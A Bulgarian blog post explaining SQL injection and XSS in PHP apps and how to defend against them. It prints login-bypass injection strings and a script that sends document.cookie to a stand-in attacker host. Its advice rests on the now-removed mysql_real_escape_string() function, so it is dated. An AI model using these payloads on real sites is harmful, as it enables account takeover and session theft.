Блог на Васил Тошков

Защита от MySQL Injection и XSS атаки в PHP

Защитата на едно уеб приложение е един от най-важните етапи, заедно с проектирането и оптимизацията му. В днешно време все по-малко се обръща внимание на защитата на уеб приложенията. Атаките далеч не се свеждат само до MySQL Injection и XSS. Има и още много други, като фалшиви HTTP заявки, brute-force атаки, публично излагане на код, открадване (фиксиране) на сесия и други.

MySQL Injection и XSS, обаче, са най-често срещаните атаки, поради многото сайтове уязвими към тях. Това са атаки, които се основават на уязвимости при изпращането и получаването на информация между потребителя и сървъра. Правилото, което трябва да се спазва, е че всичко, което влиза и излиза от базата данни, трябва да се филтрира! Не трябва да се има доверие и на никакви данни, представени от потребителя!

Повечето хора мислят, че е достатъчно да се филтрира само входната информация към базата данни. Не е достатъчно и опитът е показал, че и изходната информация трябва да се филтрира, за да се предпазим от така нареченото cross-site криптиране (XSS). Трябва и винаги да реализираме методи за защита в дълбочина, ако основната защита се бъгне или бъде заобиколена.

MySQL Injection

SQL инжектирането е най-често срещаната уязвимост в PHP приложенията. То се основава на грешка на PHP програмиста, при която не се филтрира информацията, подадена към базата данни. Често не се филтрира и върнатия резултат, при което се разкриват ценни данни и пътища. За да онагледя опасността от MySQL Injection, ще дам един прост пример.

Ако нашият скрипт за вход в системата има синтаксис от рода:
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'". Ако към тази заявка, нарушителят подаде единична кавичка за потребителско име и произволна парола, заявката ще върне следната грешка:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE username = ' ' ' AND password = 'sometext

С много малко работа (подаване на кавичка), нарушителят вече знае имената на две колони от таблицата и това, че данните и в двете посоки не са филтрирани правилно. Нарушителят знае и синтаксиса на клаузата WHERE, от където може да си сглоби заявки за всичко, което му трябва. Примерно:

myuser ' or 'foo' = 'foo' --

Ако това се въведе като потребителско име, нарушителят ще влезе успешно в системата, без да има нито потребителско име, нито парола. А ако нарушителят знае потребителско име с нужните му права, той може да влезе и с него, без да му се налага да знае паролата. Просто въвежда за потребител:

cloxy' --

За щастие, SQL инжектирането се избягва много лесно. Просто всички променливи, които се вкарват в една MySQL заявка, трябва да бъдат филтрирани с функцията mysql_real_escape_string(). В горния пример, това са променливите $user и $pass. Синтаксисът е както следва: $user = mysql_real_escape_string($user) и така за $pass.

Cross-site криптиране (XSS)

XSS е втората по разпространение атака след MySQL Injection. Застрашени са всички сайтове, които визуализират входяща информация. Такива са блогове, форуми, книги за гости, дори приложенията за електронна поща. Ако тази входяща информация не е правилно филтрирана и декодирана, се получава уязвимост от XSS.

Представете си, че в някой много посещаван блог или форум, нарушител успее да вкара в коментара си следния код:

<script>
document.location = 'http://evil.example.com/steal.php?cookies=' + document.cookie
</script>

Изпращането на този коментар към потребителите Ви не е по-различно от това да разрешите някой друг да добави малка част JavaScript към кода Ви. Вашите потребители неволно ще изпратят своите бисквитки към злия сайт. Това ще разкрие сесиите на потребителите и други любопитни данни.

Това също се предотвратява много лесно. Просто трябва да се декодира изходната информация, за да се декодират всички специални символи, които са HTML еквивалентни. Аз препоръчвам функцията htmlentities(), която най-често се параметризира така: $content = htmlentities($content, ENT_QUOTES, 'utf-8');

Както виждате, много е лесно човек да се защити, въпросът е да знае как и къде да приложи знанията си. В тази статия съм използвал примери от книгата "Основи на PHP сигурността" на издателство O'REILLY. Препоръчвам я горещо на всички, които искат да се опазят от най-страшните атаки в мрежата.